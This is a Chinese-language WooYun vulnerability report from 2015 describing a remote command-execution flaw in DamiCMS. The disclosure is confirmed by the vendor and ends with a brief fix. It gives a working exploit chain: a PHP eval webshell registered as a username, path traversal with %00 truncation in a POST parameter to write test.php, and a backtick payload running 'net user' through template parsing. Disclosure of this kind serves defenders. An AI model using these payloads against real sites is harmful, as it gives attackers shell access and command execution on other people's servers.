漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-089724
漏洞标题:大米CMS命令执行可getshell
相关厂商:damicms.com
漏洞作者: zxx
提交时间:2015-01-12 10:06
修复时间:2015-04-13 16:58
公开时间:2015-04-13 16:58
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-12: 厂商已经确认,细节仅向厂商公开
2015-01-15: 细节向第三方安全合作伙伴开放
2015-03-08: 细节向核心白帽子及相关领域专家公开
2015-03-18: 细节向普通白帽子公开
2015-03-28: 细节向实习白帽子公开
2015-04-13: 细节向公众公开
简要描述:
开启使用静态时,导致命令执行
详细说明:
/Web/Lib/Action/ArticleAction.class.php
这个问题在/Web/Lib/Action/IndexAction.class.php,/Web/Lib/Action/ListAction.class.php中也存在。但是现在我们只能覆盖原来的文件,最好的利用方法,就是覆盖php_safe.php(在可以%00截断的情况下),那么全局的sql注入过滤就废了。但是这样还有inject_check存在,不过瘾啊。
想办法控制$c吧。$c是从缓冲区获得了,也就是模板控制的。
发现了一个相关模板,可以有输入。
/Web/Tpl/default/page/page_product.html
碰巧damicms注册账号时候没有长度限制,但注册时时候会对信息用remove_xss,登陆时候有inject_check。所以我们的用户名也就是我们的payload也有一些限制,不能用逗号,单引号,而且因为输出位置特殊,用双引号也不行。
不过还好 我们的一句话不用这些<?php eval($_POST[x]);?> 注册完名字
看一下
名字的地方已经有一句话了。
如果现在php版本合适,我们就可以直接%00生成shell了。
找一个产品的页面,因为产品的模板才能传payload过去。
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../test.php%00
生成成功了。连接http://127.0.0.1/test.php
但是如果不能截断呢,后缀只能是HTML,利用模板解析那一步执行一下命令吧,但是不能用' " , 所以只好用 反引号 试试了。 反引号会帮我们执行系统命令
注册用户名: <?php echo `net user`; echo 99; ?>
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../Web/Tpl/default/pl_pl
生成覆盖/Web/Tpl/default/pl_pl.html
漏洞证明:
可以截断,直接上传webshell:
注册姓名:<?php eval($_POST[x]);?>
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../test.php%00
不能截断情况下,上传到html,然后利用模板解析执行命令:
注册用户名: <?php echo `net user`; echo 99; ?>
http://127.0.0.1/index.php?s=/articles/index&aid=127
POST:p=../../../../../Web/Tpl/default/pl_pl
访问http://127.0.0.1/index.php?s=/pl/index&aid=127 这个aid对应文章是要有评论的
修复方案:
限制$static_file目录
版权声明:转载请注明来源 zxx@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:7
确认时间:2015-01-12 15:12
厂商回复:
路径未经控制可能导致安全风险
最新状态:
暂无